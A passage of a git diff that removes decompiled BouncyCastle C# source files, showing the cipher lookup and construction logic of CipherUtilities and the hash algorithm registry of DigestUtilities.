algorithms["1.3.6.1.4.1.188.7.1.1.2"] = "IDEA/CBC"; - algorithms["1.2.840.113533.7.66.10"] = "CAST5/CBC"; - algorithms["RC4"] = "ARC4"; - algorithms["ARCFOUR"] = "ARC4"; - algorithms["1.2.840.113549.3.4"] = "ARC4"; - algorithms["PBEWITHSHA1AND128BITRC4"] = "PBEWITHSHAAND128BITRC4"; - algorithms[PkcsObjectIdentifiers.PbeWithShaAnd128BitRC4.Id] = "PBEWITHSHAAND128BITRC4"; - algorithms["PBEWITHSHA1AND40BITRC4"] = "PBEWITHSHAAND40BITRC4"; - algorithms[PkcsObjectIdentifiers.PbeWithShaAnd40BitRC4.Id] = "PBEWITHSHAAND40BITRC4"; - algorithms["PBEWITHSHA1ANDDES"] = "PBEWITHSHA1ANDDES-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithSha1AndDesCbc.Id] = "PBEWITHSHA1ANDDES-CBC"; - algorithms["PBEWITHSHA1ANDRC2"] = "PBEWITHSHA1ANDRC2-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithSha1AndRC2Cbc.Id] = "PBEWITHSHA1ANDRC2-CBC"; - algorithms["PBEWITHSHA1AND3-KEYTRIPLEDES-CBC"] = "PBEWITHSHAAND3-KEYTRIPLEDES-CBC"; - algorithms["PBEWITHSHAAND3KEYTRIPLEDES"] = "PBEWITHSHAAND3-KEYTRIPLEDES-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithShaAnd3KeyTripleDesCbc.Id] = "PBEWITHSHAAND3-KEYTRIPLEDES-CBC"; - algorithms["PBEWITHSHA1ANDDESEDE"] = "PBEWITHSHAAND3-KEYTRIPLEDES-CBC"; - algorithms["PBEWITHSHA1AND2-KEYTRIPLEDES-CBC"] = "PBEWITHSHAAND2-KEYTRIPLEDES-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithShaAnd2KeyTripleDesCbc.Id] = "PBEWITHSHAAND2-KEYTRIPLEDES-CBC"; - algorithms["PBEWITHSHA1AND128BITRC2-CBC"] = "PBEWITHSHAAND128BITRC2-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithShaAnd128BitRC2Cbc.Id] = "PBEWITHSHAAND128BITRC2-CBC"; - algorithms["PBEWITHSHA1AND40BITRC2-CBC"] = "PBEWITHSHAAND40BITRC2-CBC"; - algorithms[PkcsObjectIdentifiers.PbewithShaAnd40BitRC2Cbc.Id] = "PBEWITHSHAAND40BITRC2-CBC"; - algorithms["PBEWITHSHA1AND128BITAES-CBC-BC"] = "PBEWITHSHAAND128BITAES-CBC-BC"; - algorithms["PBEWITHSHA-1AND128BITAES-CBC-BC"] = "PBEWITHSHAAND128BITAES-CBC-BC"; - algorithms["PBEWITHSHA1AND192BITAES-CBC-BC"] = "PBEWITHSHAAND192BITAES-CBC-BC"; - algorithms["PBEWITHSHA-1AND192BITAES-CBC-BC"] = "PBEWITHSHAAND192BITAES-CBC-BC"; - algorithms["PBEWITHSHA1AND256BITAES-CBC-BC"] = "PBEWITHSHAAND256BITAES-CBC-BC"; - algorithms["PBEWITHSHA-1AND256BITAES-CBC-BC"] = "PBEWITHSHAAND256BITAES-CBC-BC"; - algorithms["PBEWITHSHA-256AND128BITAES-CBC-BC"] = "PBEWITHSHA256AND128BITAES-CBC-BC"; - algorithms["PBEWITHSHA-256AND192BITAES-CBC-BC"] = "PBEWITHSHA256AND192BITAES-CBC-BC"; - algorithms["PBEWITHSHA-256AND256BITAES-CBC-BC"] = "PBEWITHSHA256AND256BITAES-CBC-BC"; - algorithms["GOST"] = "GOST28147"; - algorithms["GOST-28147"] = "GOST28147"; - algorithms[CryptoProObjectIdentifiers.GostR28147Cbc.Id] = "GOST28147/CBC/PKCS7PADDING"; - algorithms["RC5-32"] = "RC5"; - algorithms[NttObjectIdentifiers.IdCamellia128Cbc.Id] = "CAMELLIA/CBC/PKCS7PADDING"; - algorithms[NttObjectIdentifiers.IdCamellia192Cbc.Id] = "CAMELLIA/CBC/PKCS7PADDING"; - algorithms[NttObjectIdentifiers.IdCamellia256Cbc.Id] = "CAMELLIA/CBC/PKCS7PADDING"; - algorithms[KisaObjectIdentifiers.IdSeedCbc.Id] = "SEED/CBC/PKCS7PADDING"; - algorithms["1.3.6.1.4.1.3029.1.2"] = "BLOWFISH/CBC"; - } - - private CipherUtilities() - { - } - - public static DerObjectIdentifier GetObjectIdentifier(string mechanism) - { - if (mechanism == null) - { - throw new ArgumentNullException("mechanism"); - } - mechanism = Platform.ToUpperInvariant(mechanism); - string text = (string)algorithms[mechanism]; - if (text != null) - { - mechanism = text; - } - return (DerObjectIdentifier)oids[mechanism]; - } - - public static IBufferedCipher GetCipher(DerObjectIdentifier oid) - { - return GetCipher(oid.Id); - } - - public static IBufferedCipher GetCipher(string algorithm) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - algorithm = Platform.ToUpperInvariant(algorithm); - string text = (string)algorithms[algorithm]; - if (text != null) - { - algorithm = text; - } - IBasicAgreement basicAgreement = null; - if (algorithm == "IES") - { - basicAgreement = new DHBasicAgreement(); - } - else if (algorithm == "ECIES") - { - basicAgreement = new ECDHBasicAgreement(); - } - if (basicAgreement != null) - { - return new BufferedIesCipher(new IesEngine(basicAgreement, new Kdf2BytesGenerator(new Sha1Digest()), new HMac(new Sha1Digest()))); - } - if (Platform.StartsWith(algorithm, "PBE")) - { - if (Platform.EndsWith(algorithm, "-CBC")) - { - if (algorithm == "PBEWITHSHA1ANDDES-CBC") - { - return new PaddedBufferedBlockCipher(new CbcBlockCipher(new DesEngine())); - } - if (algorithm == "PBEWITHSHA1ANDRC2-CBC") - { - return new PaddedBufferedBlockCipher(new CbcBlockCipher(new RC2Engine())); - } - if (Strings.IsOneOf(algorithm, "PBEWITHSHAAND2-KEYTRIPLEDES-CBC", "PBEWITHSHAAND3-KEYTRIPLEDES-CBC")) - { - return new PaddedBufferedBlockCipher(new CbcBlockCipher(new DesEdeEngine())); - } - if (Strings.IsOneOf(algorithm, "PBEWITHSHAAND128BITRC2-CBC", "PBEWITHSHAAND40BITRC2-CBC")) - { - return new PaddedBufferedBlockCipher(new CbcBlockCipher(new RC2Engine())); - } - } - else if ((Platform.EndsWith(algorithm, "-BC") || Platform.EndsWith(algorithm, "-OPENSSL")) && Strings.IsOneOf(algorithm, "PBEWITHSHAAND128BITAES-CBC-BC", "PBEWITHSHAAND192BITAES-CBC-BC", "PBEWITHSHAAND256BITAES-CBC-BC", "PBEWITHSHA256AND128BITAES-CBC-BC", "PBEWITHSHA256AND192BITAES-CBC-BC", "PBEWITHSHA256AND256BITAES-CBC-BC", "PBEWITHMD5AND128BITAES-CBC-OPENSSL", "PBEWITHMD5AND192BITAES-CBC-OPENSSL", "PBEWITHMD5AND256BITAES-CBC-OPENSSL")) - { - return new PaddedBufferedBlockCipher(new CbcBlockCipher(new AesEngine())); - } - } - string[] array = algorithm.Split(new char[1] { '/' }); - IBlockCipher blockCipher = null; - IAsymmetricBlockCipher asymmetricBlockCipher = null; - IStreamCipher streamCipher = null; - string text2 = array[0]; - string text3 = (string)algorithms[text2]; - if (text3 != null) - { - text2 = text3; - } - CipherAlgorithm cipherAlgorithm; - try - { - cipherAlgorithm = (CipherAlgorithm)Enums.GetEnumValue(typeof(CipherAlgorithm), text2); - } - catch (ArgumentException) - { - throw new SecurityUtilityException("Cipher " + algorithm + " not recognised."); - } - switch (cipherAlgorithm) - { - case CipherAlgorithm.AES: - blockCipher = new AesEngine(); - break; - case CipherAlgorithm.ARC4: - streamCipher = new RC4Engine(); - break; - case CipherAlgorithm.BLOWFISH: - blockCipher = new BlowfishEngine(); - break; - case CipherAlgorithm.CAMELLIA: - blockCipher = new CamelliaEngine(); - break; - case CipherAlgorithm.CAST5: - blockCipher = new Cast5Engine(); - break; - case CipherAlgorithm.CAST6: - blockCipher = new Cast6Engine(); - break; - case CipherAlgorithm.DES: - blockCipher = new DesEngine(); - break; - case CipherAlgorithm.DESEDE: - blockCipher = new DesEdeEngine(); - break; - case CipherAlgorithm.ELGAMAL: - asymmetricBlockCipher = new ElGamalEngine(); - break; - case CipherAlgorithm.GOST28147: - blockCipher = new Gost28147Engine(); - break; - case CipherAlgorithm.HC128: - streamCipher = new HC128Engine(); - break; - case CipherAlgorithm.HC256: - streamCipher = new HC256Engine(); - break; - case CipherAlgorithm.IDEA: - blockCipher = new IdeaEngine(); - break; - case CipherAlgorithm.NOEKEON: - blockCipher = new NoekeonEngine(); - break; - case CipherAlgorithm.PBEWITHSHAAND128BITRC4: - case CipherAlgorithm.PBEWITHSHAAND40BITRC4: - streamCipher = new RC4Engine(); - break; - case CipherAlgorithm.RC2: - blockCipher = new RC2Engine(); - break; - case CipherAlgorithm.RC5: - blockCipher = new RC532Engine(); - break; - case CipherAlgorithm.RC5_64: - blockCipher = new RC564Engine(); - break; - case CipherAlgorithm.RC6: - blockCipher = new RC6Engine(); - break; - case CipherAlgorithm.RIJNDAEL: - blockCipher = new RijndaelEngine(); - break; - case CipherAlgorithm.RSA: - asymmetricBlockCipher = new RsaBlindedEngine(); - break; - case CipherAlgorithm.SALSA20: - streamCipher = new Salsa20Engine(); - break; - case CipherAlgorithm.SEED: - blockCipher = new SeedEngine(); - break; - case CipherAlgorithm.SERPENT: - blockCipher = new SerpentEngine(); - break; - case CipherAlgorithm.SKIPJACK: - blockCipher = new SkipjackEngine(); - break; - case CipherAlgorithm.SM4: - blockCipher = new SM4Engine(); - break; - case CipherAlgorithm.TEA: - blockCipher = new TeaEngine(); - break; - case CipherAlgorithm.THREEFISH_256: - blockCipher = new ThreefishEngine(256); - break; - case CipherAlgorithm.THREEFISH_512: - blockCipher = new ThreefishEngine(512); - break; - case CipherAlgorithm.THREEFISH_1024: - blockCipher = new ThreefishEngine(1024); - break; - case CipherAlgorithm.TNEPRES: - blockCipher = new TnepresEngine(); - break; - case CipherAlgorithm.TWOFISH: - blockCipher = new TwofishEngine(); - break; - case CipherAlgorithm.VMPC: - streamCipher = new VmpcEngine(); - break; - case CipherAlgorithm.VMPC_KSA3: - streamCipher = new VmpcKsa3Engine(); - break; - case CipherAlgorithm.XTEA: - blockCipher = new XteaEngine(); - break; - default: - throw new SecurityUtilityException("Cipher " + algorithm + " not recognised."); - } - if (streamCipher != null) - { - if (array.Length > 1) - { - throw new ArgumentException("Modes and paddings not used for stream ciphers"); - } - return new BufferedStreamCipher(streamCipher); - } - bool flag = false; - bool flag2 = true; - IBlockCipherPadding blockCipherPadding = null; - IAeadBlockCipher aeadBlockCipher = null; - if (array.Length > 2) - { - if (streamCipher != null) - { - throw new ArgumentException("Paddings not used for stream ciphers"); - } - string text4 = array[2]; - CipherPadding cipherPadding; - if (text4 == "") - { - cipherPadding = CipherPadding.RAW; - } - else if (text4 == "X9.23PADDING") - { - cipherPadding = CipherPadding.X923PADDING; - } - else - { - try - { - cipherPadding = (CipherPadding)Enums.GetEnumValue(typeof(CipherPadding), text4); - } - catch (ArgumentException) - { - throw new SecurityUtilityException("Cipher " + algorithm + " not recognised."); - } - } - switch (cipherPadding) - { - case CipherPadding.NOPADDING: - flag2 = false; - break; - case CipherPadding.ISO10126PADDING: - case CipherPadding.ISO10126D2PADDING: - case CipherPadding.ISO10126_2PADDING: - blockCipherPadding = new ISO10126d2Padding(); - break; - case CipherPadding.ISO7816_4PADDING: - case CipherPadding.ISO9797_1PADDING: - blockCipherPadding = new ISO7816d4Padding(); - break; - case CipherPadding.ISO9796_1: - case CipherPadding.ISO9796_1PADDING: - asymmetricBlockCipher = new ISO9796d1Encoding(asymmetricBlockCipher); - break; - case CipherPadding.OAEP: - case CipherPadding.OAEPPADDING: - asymmetricBlockCipher = new OaepEncoding(asymmetricBlockCipher); - break; - case CipherPadding.OAEPWITHMD5ANDMGF1PADDING: - asymmetricBlockCipher = new OaepEncoding(asymmetricBlockCipher, new MD5Digest()); - break; - case CipherPadding.OAEPWITHSHA1ANDMGF1PADDING: - case CipherPadding.OAEPWITHSHA_1ANDMGF1PADDING: - asymmetricBlockCipher = new OaepEncoding(asymmetricBlockCipher, new Sha1Digest()); - break; - case CipherPadding.OAEPWITHSHA224ANDMGF1PADDING: - case CipherPadding.OAEPWITHSHA_224ANDMGF1PADDING: - asymmetricBlockCipher = new OaepEncoding(asymmetricBlockCipher, new Sha224Digest()); - break; - case CipherPadding.OAEPWITHSHA256ANDMGF1PADDING: - case CipherPadding.OAEPWITHSHA_256ANDMGF1PADDING: - asymmetricBlockCipher = new OaepEncoding(asymmetricBlockCipher, new Sha256Digest()); - break; - case CipherPadding.OAEPWITHSHA384ANDMGF1PADDING: - case CipherPadding.OAEPWITHSHA_384ANDMGF1PADDING: - asymmetricBlockCipher = new OaepEncoding(asymmetricBlockCipher, new Sha384Digest()); - break; - case CipherPadding.OAEPWITHSHA512ANDMGF1PADDING: - case CipherPadding.OAEPWITHSHA_512ANDMGF1PADDING: - asymmetricBlockCipher = new OaepEncoding(asymmetricBlockCipher, new Sha512Digest()); - break; - case CipherPadding.PKCS1: - case CipherPadding.PKCS1PADDING: - asymmetricBlockCipher = new Pkcs1Encoding(asymmetricBlockCipher); - break; - case CipherPadding.PKCS5: - case CipherPadding.PKCS5PADDING: - case CipherPadding.PKCS7: - case CipherPadding.PKCS7PADDING: - blockCipherPadding = new Pkcs7Padding(); - break; - case CipherPadding.TBCPADDING: - blockCipherPadding = new TbcPadding(); - break; - case CipherPadding.WITHCTS: - flag = true; - break; - case CipherPadding.X923PADDING: - blockCipherPadding = new X923Padding(); - break; - case CipherPadding.ZEROBYTEPADDING: - blockCipherPadding = new ZeroBytePadding(); - break; - default: - throw new SecurityUtilityException("Cipher " + algorithm + " not recognised."); - case CipherPadding.RAW: - break; - } - } - string text5 = ""; - if (array.Length > 1) - { - text5 = array[1]; - int digitIndex = GetDigitIndex(text5); - string text6 = ((digitIndex >= 0) ? text5.Substring(0, digitIndex) : text5); - try - { - switch ((text6 == "") ? CipherMode.NONE : ((CipherMode)Enums.GetEnumValue(typeof(CipherMode), text6))) - { - case CipherMode.CBC: - blockCipher = new CbcBlockCipher(blockCipher); - break; - case CipherMode.CCM: - aeadBlockCipher = new CcmBlockCipher(blockCipher); - break; - case CipherMode.CFB: - { - int bitBlockSize = ((digitIndex < 0) ? (8 * blockCipher.GetBlockSize()) : int.Parse(text5.Substring(digitIndex))); - blockCipher = new CfbBlockCipher(blockCipher, bitBlockSize); - break; - } - case CipherMode.CTR: - blockCipher = new SicBlockCipher(blockCipher); - break; - case CipherMode.CTS: - flag = true; - blockCipher = new CbcBlockCipher(blockCipher); - break; - case CipherMode.EAX: - aeadBlockCipher = new EaxBlockCipher(blockCipher); - break; - case CipherMode.GCM: - aeadBlockCipher = new GcmBlockCipher(blockCipher); - break; - case CipherMode.GOFB: - blockCipher = new GOfbBlockCipher(blockCipher); - break; - case CipherMode.OCB: - aeadBlockCipher = new OcbBlockCipher(blockCipher, CreateBlockCipher(cipherAlgorithm)); - break; - case CipherMode.OFB: - { - int blockSize = ((digitIndex < 0) ? (8 * blockCipher.GetBlockSize()) : int.Parse(text5.Substring(digitIndex))); - blockCipher = new OfbBlockCipher(blockCipher, blockSize); - break; - } - case CipherMode.OPENPGPCFB: - blockCipher = new OpenPgpCfbBlockCipher(blockCipher); - break; - case CipherMode.SIC: - if (blockCipher.GetBlockSize() < 16) - { - throw new ArgumentException("Warning: SIC-Mode can become a twotime-pad if the blocksize of the cipher is too small. Use a cipher with a block size of at least 128 bits (e.g. AES)"); - } - blockCipher = new SicBlockCipher(blockCipher); - break; - default: - throw new SecurityUtilityException("Cipher " + algorithm + " not recognised."); - case CipherMode.ECB: - case CipherMode.NONE: - break; - } - } - catch (ArgumentException) - { - throw new SecurityUtilityException("Cipher " + algorithm + " not recognised."); - } - } - if (aeadBlockCipher != null) - { - if (flag) - { - throw new SecurityUtilityException("CTS mode not valid for AEAD ciphers."); - } - if (flag2 && array.Length > 2 && array[2] != "") - { - throw new SecurityUtilityException("Bad padding specified for AEAD cipher."); - } - return new BufferedAeadBlockCipher(aeadBlockCipher); - } - if (blockCipher != null) - { - if (flag) - { - return new CtsBlockCipher(blockCipher); - } - if (blockCipherPadding != null) - { - return new PaddedBufferedBlockCipher(blockCipher, blockCipherPadding); - } - if (!flag2 || blockCipher.IsPartialBlockOkay) - { - return new BufferedBlockCipher(blockCipher); - } - return new PaddedBufferedBlockCipher(blockCipher); - } - if (asymmetricBlockCipher != null) - { - return new BufferedAsymmetricBlockCipher(asymmetricBlockCipher); - } - throw new SecurityUtilityException("Cipher " + algorithm + " not recognised."); - } - - public static string GetAlgorithmName(DerObjectIdentifier oid) - { - return (string)algorithms[oid.Id]; - } - - private static int GetDigitIndex(string s) - { - for (int i = 0; i < s.Length; i++) - { - if (char.IsDigit(s[i])) - { - return i; - } - } - return -1; - } - - private static IBlockCipher CreateBlockCipher(CipherAlgorithm cipherAlgorithm) - { - return cipherAlgorithm switch - { - CipherAlgorithm.AES => new AesEngine(), - CipherAlgorithm.BLOWFISH => new BlowfishEngine(), - CipherAlgorithm.CAMELLIA => new CamelliaEngine(), - CipherAlgorithm.CAST5 => new Cast5Engine(), - CipherAlgorithm.CAST6 => new Cast6Engine(), - CipherAlgorithm.DES => new DesEngine(), - CipherAlgorithm.DESEDE => new DesEdeEngine(), - CipherAlgorithm.GOST28147 => new Gost28147Engine(), - CipherAlgorithm.IDEA => new IdeaEngine(), - CipherAlgorithm.NOEKEON => new NoekeonEngine(), - CipherAlgorithm.RC2 => new RC2Engine(), - CipherAlgorithm.RC5 => new RC532Engine(), - CipherAlgorithm.RC5_64 => new RC564Engine(), - CipherAlgorithm.RC6 => new RC6Engine(), - CipherAlgorithm.RIJNDAEL => new RijndaelEngine(), - CipherAlgorithm.SEED => new SeedEngine(), - CipherAlgorithm.SERPENT => new SerpentEngine(), - CipherAlgorithm.SKIPJACK => new SkipjackEngine(), - CipherAlgorithm.SM4 => new SM4Engine(), - CipherAlgorithm.TEA => new TeaEngine(), - CipherAlgorithm.THREEFISH_256 => new ThreefishEngine(256), - CipherAlgorithm.THREEFISH_512 => new ThreefishEngine(512), - CipherAlgorithm.THREEFISH_1024 => new ThreefishEngine(1024), - CipherAlgorithm.TNEPRES => new TnepresEngine(), - CipherAlgorithm.TWOFISH => new TwofishEngine(), - CipherAlgorithm.XTEA => new XteaEngine(), - _ => throw new SecurityUtilityException(string.Concat("Cipher ", cipherAlgorithm, " not recognised or not a block cipher")), - }; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/DigestUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/DigestUtilities.cs deleted file mode 100644 index 3870a43..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/DigestUtilities.cs +++ /dev/null @@ -1,324 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.GM; -using Org.BouncyCastle.Asn1.Misc; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.UA; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public sealed class DigestUtilities -{ - private enum DigestAlgorithm - { - BLAKE2B_160, - BLAKE2B_256, - BLAKE2B_384, - BLAKE2B_512, - BLAKE2S_128, - BLAKE2S_160, - BLAKE2S_224, - BLAKE2S_256, - DSTU7564_256, - DSTU7564_384, - DSTU7564_512, - GOST3411, - GOST3411_2012_256, - GOST3411_2012_512, - KECCAK_224, - KECCAK_256, - KECCAK_288, - KECCAK_384, - KECCAK_512, - MD2, - MD4, - MD5, - NONE, - RIPEMD128, - RIPEMD160, - RIPEMD256, - RIPEMD320, - SHA_1, - SHA_224, - SHA_256, - SHA_384, - SHA_512, - SHA_512_224, - SHA_512_256, - SHA3_224, - SHA3_256, - SHA3_384, - SHA3_512, - SHAKE128, - SHAKE256, - SM3, - TIGER, - WHIRLPOOL - } - - private static readonly IDictionary algorithms; - - private static readonly IDictionary oids; - - public static ICollection Algorithms => oids.Keys; - - private DigestUtilities() - { - } - - static DigestUtilities() - { - algorithms = Platform.CreateHashtable(); - oids = Platform.CreateHashtable(); - ((DigestAlgorithm)Enums.GetArbitraryValue(typeof(DigestAlgorithm))).ToString(); - algorithms[PkcsObjectIdentifiers.MD2.Id] = "MD2"; - algorithms[PkcsObjectIdentifiers.MD4.Id] = "MD4"; - algorithms[PkcsObjectIdentifiers.MD5.Id] = "MD5"; - algorithms["SHA1"] = "SHA-1"; - algorithms[OiwObjectIdentifiers.IdSha1.Id] = "SHA-1"; - algorithms["SHA224"] = "SHA-224"; - algorithms[NistObjectIdentifiers.IdSha224.Id] = "SHA-224"; - algorithms["SHA256"] = "SHA-256"; - algorithms[NistObjectIdentifiers.IdSha256.Id] = "SHA-256"; - algorithms["SHA384"] = "SHA-384"; - algorithms[NistObjectIdentifiers.IdSha384.Id] = "SHA-384"; - algorithms["SHA512"] = "SHA-512"; - algorithms[NistObjectIdentifiers.IdSha512.Id] = "SHA-512"; - algorithms["SHA512/224"] = "SHA-512/224"; - algorithms[NistObjectIdentifiers.IdSha512_224.Id] = "SHA-512/224"; - algorithms["SHA512/256"] = "SHA-512/256"; - algorithms[NistObjectIdentifiers.IdSha512_256.Id] = "SHA-512/256"; - algorithms["RIPEMD-128"] = "RIPEMD128"; - algorithms[TeleTrusTObjectIdentifiers.RipeMD128.Id] = "RIPEMD128"; - algorithms["RIPEMD-160"] = "RIPEMD160"; - algorithms[TeleTrusTObjectIdentifiers.RipeMD160.Id] = "RIPEMD160"; - algorithms["RIPEMD-256"] = "RIPEMD256"; - algorithms[TeleTrusTObjectIdentifiers.RipeMD256.Id] = "RIPEMD256"; - algorithms["RIPEMD-320"] = "RIPEMD320"; - algorithms[CryptoProObjectIdentifiers.GostR3411.Id] = "GOST3411"; - algorithms["KECCAK224"] = "KECCAK-224"; - algorithms["KECCAK256"] = "KECCAK-256"; - algorithms["KECCAK288"] = "KECCAK-288"; - algorithms["KECCAK384"] = "KECCAK-384"; - algorithms["KECCAK512"] = "KECCAK-512"; - algorithms[NistObjectIdentifiers.IdSha3_224.Id] = "SHA3-224"; - algorithms[NistObjectIdentifiers.IdSha3_256.Id] = "SHA3-256"; - algorithms[NistObjectIdentifiers.IdSha3_384.Id] = "SHA3-384"; - algorithms[NistObjectIdentifiers.IdSha3_512.Id] = "SHA3-512"; - algorithms[NistObjectIdentifiers.IdShake128.Id] = "SHAKE128"; - algorithms[NistObjectIdentifiers.IdShake256.Id] = "SHAKE256"; - algorithms[GMObjectIdentifiers.sm3.Id] = "SM3"; - algorithms[MiscObjectIdentifiers.id_blake2b160.Id] = "BLAKE2B-160"; - algorithms[MiscObjectIdentifiers.id_blake2b256.Id] = "BLAKE2B-256"; - algorithms[MiscObjectIdentifiers.id_blake2b384.Id] = "BLAKE2B-384"; - algorithms[MiscObjectIdentifiers.id_blake2b512.Id] = "BLAKE2B-512"; - algorithms[MiscObjectIdentifiers.id_blake2s128.Id] = "BLAKE2S-128"; - algorithms[MiscObjectIdentifiers.id_blake2s160.Id] = "BLAKE2S-160"; - algorithms[MiscObjectIdentifiers.id_blake2s224.Id] = "BLAKE2S-224"; - algorithms[MiscObjectIdentifiers.id_blake2s256.Id] = "BLAKE2S-256"; - algorithms[RosstandartObjectIdentifiers.id_tc26_gost_3411_12_256.Id] = "GOST3411-2012-256"; - algorithms[RosstandartObjectIdentifiers.id_tc26_gost_3411_12_512.Id] = "GOST3411-2012-512"; - algorithms[UAObjectIdentifiers.dstu7564digest_256.Id] = "DSTU7564-256"; - algorithms[UAObjectIdentifiers.dstu7564digest_384.Id] = "DSTU7564-384"; - algorithms[UAObjectIdentifiers.dstu7564digest_512.Id] = "DSTU7564-512"; - oids["MD2"] = PkcsObjectIdentifiers.MD2; - oids["MD4"] = PkcsObjectIdentifiers.MD4; - oids["MD5"] = PkcsObjectIdentifiers.MD5; - oids["SHA-1"] = OiwObjectIdentifiers.IdSha1; - oids["SHA-224"] = NistObjectIdentifiers.IdSha224; - oids["SHA-256"] = NistObjectIdentifiers.IdSha256; - oids["SHA-384"] = NistObjectIdentifiers.IdSha384; - oids["SHA-512"] = NistObjectIdentifiers.IdSha512; - oids["SHA-512/224"] = NistObjectIdentifiers.IdSha512_224; - oids["SHA-512/256"] = NistObjectIdentifiers.IdSha512_256; - oids["SHA3-224"] = NistObjectIdentifiers.IdSha3_224; - oids["SHA3-256"] = NistObjectIdentifiers.IdSha3_256; - oids["SHA3-384"] = NistObjectIdentifiers.IdSha3_384; - oids["SHA3-512"] = NistObjectIdentifiers.IdSha3_512; - oids["SHAKE128"] = NistObjectIdentifiers.IdShake128; - oids["SHAKE256"] = NistObjectIdentifiers.IdShake256; - oids["RIPEMD128"] = TeleTrusTObjectIdentifiers.RipeMD128; - oids["RIPEMD160"] = TeleTrusTObjectIdentifiers.RipeMD160; - oids["RIPEMD256"] = TeleTrusTObjectIdentifiers.RipeMD256; - oids["GOST3411"] = CryptoProObjectIdentifiers.GostR3411; - oids["SM3"] = GMObjectIdentifiers.sm3; - oids["BLAKE2B-160"] = MiscObjectIdentifiers.id_blake2b160; - oids["BLAKE2B-256"] = MiscObjectIdentifiers.id_blake2b256; - oids["BLAKE2B-384"] = MiscObjectIdentifiers.id_blake2b384; - oids["BLAKE2B-512"] = MiscObjectIdentifiers.id_blake2b512; - oids["BLAKE2S-128"] = MiscObjectIdentifiers.id_blake2s128; - oids["BLAKE2S-160"] = MiscObjectIdentifiers.id_blake2s160; - oids["BLAKE2S-224"] = MiscObjectIdentifiers.id_blake2s224; - oids["BLAKE2S-256"] = MiscObjectIdentifiers.id_blake2s256; - oids["GOST3411-2012-256"] = RosstandartObjectIdentifiers.id_tc26_gost_3411_12_256; - oids["GOST3411-2012-512"] = RosstandartObjectIdentifiers.id_tc26_gost_3411_12_512; - oids["DSTU7564-256"] = UAObjectIdentifiers.dstu7564digest_256; - oids["DSTU7564-384"] = UAObjectIdentifiers.dstu7564digest_384; - oids["DSTU7564-512"] = UAObjectIdentifiers.dstu7564digest_512; - } - - public static DerObjectIdentifier GetObjectIdentifier(string mechanism) - { - if (mechanism == null) - { - throw new ArgumentNullException("mechanism"); - } - mechanism = Platform.ToUpperInvariant(mechanism); - string text = (string)algorithms[mechanism]; - if (text != null) - { - mechanism = text; - } - return (DerObjectIdentifier)oids[mechanism]; - } - - public static IDigest GetDigest(DerObjectIdentifier id) - { - return GetDigest(id.Id); - } - - public static IDigest GetDigest(string algorithm) - { - string text = Platform.ToUpperInvariant(algorithm); - string text2 = (string)algorithms[text]; - if (text2 == null) - { - text2 = text; - } - try - { - switch ((DigestAlgorithm)Enums.GetEnumValue(typeof(DigestAlgorithm), text2)) - { - case DigestAlgorithm.BLAKE2B_160: - return new Blake2bDigest(160); - case DigestAlgorithm.BLAKE2B_256: - return new Blake2bDigest(256); - case DigestAlgorithm.BLAKE2B_384: - return new Blake2bDigest(384); - case DigestAlgorithm.BLAKE2B_512: - return new Blake2bDigest(512); - case DigestAlgorithm.BLAKE2S_128: - return new Blake2sDigest(128); - case DigestAlgorithm.BLAKE2S_160: - return new Blake2sDigest(160); - case DigestAlgorithm.BLAKE2S_224: - return new Blake2sDigest(224); - case DigestAlgorithm.BLAKE2S_256: - return new Blake2sDigest(256); - case DigestAlgorithm.DSTU7564_256: - return new Dstu7564Digest(256); - case DigestAlgorithm.DSTU7564_384: - return new Dstu7564Digest(384); - case DigestAlgorithm.DSTU7564_512: - return new Dstu7564Digest(512); - case DigestAlgorithm.GOST3411: - return new Gost3411Digest(); - case DigestAlgorithm.GOST3411_2012_256: - return new Gost3411_2012_256Digest(); - case DigestAlgorithm.GOST3411_2012_512: - return new Gost3411_2012_512Digest(); - case DigestAlgorithm.KECCAK_224: - return new KeccakDigest(224); - case DigestAlgorithm.KECCAK_256: - return new KeccakDigest(256); - case DigestAlgorithm.KECCAK_288: - return new KeccakDigest(288); - case DigestAlgorithm.KECCAK_384: - return new KeccakDigest(384); - case DigestAlgorithm.KECCAK_512: - return new KeccakDigest(512); - case DigestAlgorithm.MD2: - return new MD2Digest(); - case DigestAlgorithm.MD4: - return new MD4Digest(); - case DigestAlgorithm.MD5: - return new MD5Digest(); - case DigestAlgorithm.NONE: - return new NullDigest(); - case DigestAlgorithm.RIPEMD128: - return new RipeMD128Digest(); - case DigestAlgorithm.RIPEMD160: - return new RipeMD160Digest(); - case DigestAlgorithm.RIPEMD256: - return new RipeMD256Digest(); - case DigestAlgorithm.RIPEMD320: - return new RipeMD320Digest(); - case DigestAlgorithm.SHA_1: - return new Sha1Digest(); - case DigestAlgorithm.SHA_224: - return new Sha224Digest(); - case DigestAlgorithm.SHA_256: - return new Sha256Digest(); - case DigestAlgorithm.SHA_384: - return new Sha384Digest(); - case DigestAlgorithm.SHA_512: - return new Sha512Digest(); - case DigestAlgorithm.SHA_512_224: - return new Sha512tDigest(224); - case DigestAlgorithm.SHA_512_256: - return new Sha512tDigest(256); - case DigestAlgorithm.SHA3_224: - return new Sha3Digest(224); - case DigestAlgorithm.SHA3_256: - return new Sha3Digest(256); - case DigestAlgorithm.SHA3_384: - return new Sha3Digest(384); - case DigestAlgorithm.SHA3_512: - return new Sha3Digest(512); - case DigestAlgorithm.SHAKE128: - return new ShakeDigest(128); - case DigestAlgorithm.SHAKE256: - return new ShakeDigest(256); - case DigestAlgorithm.SM3: - 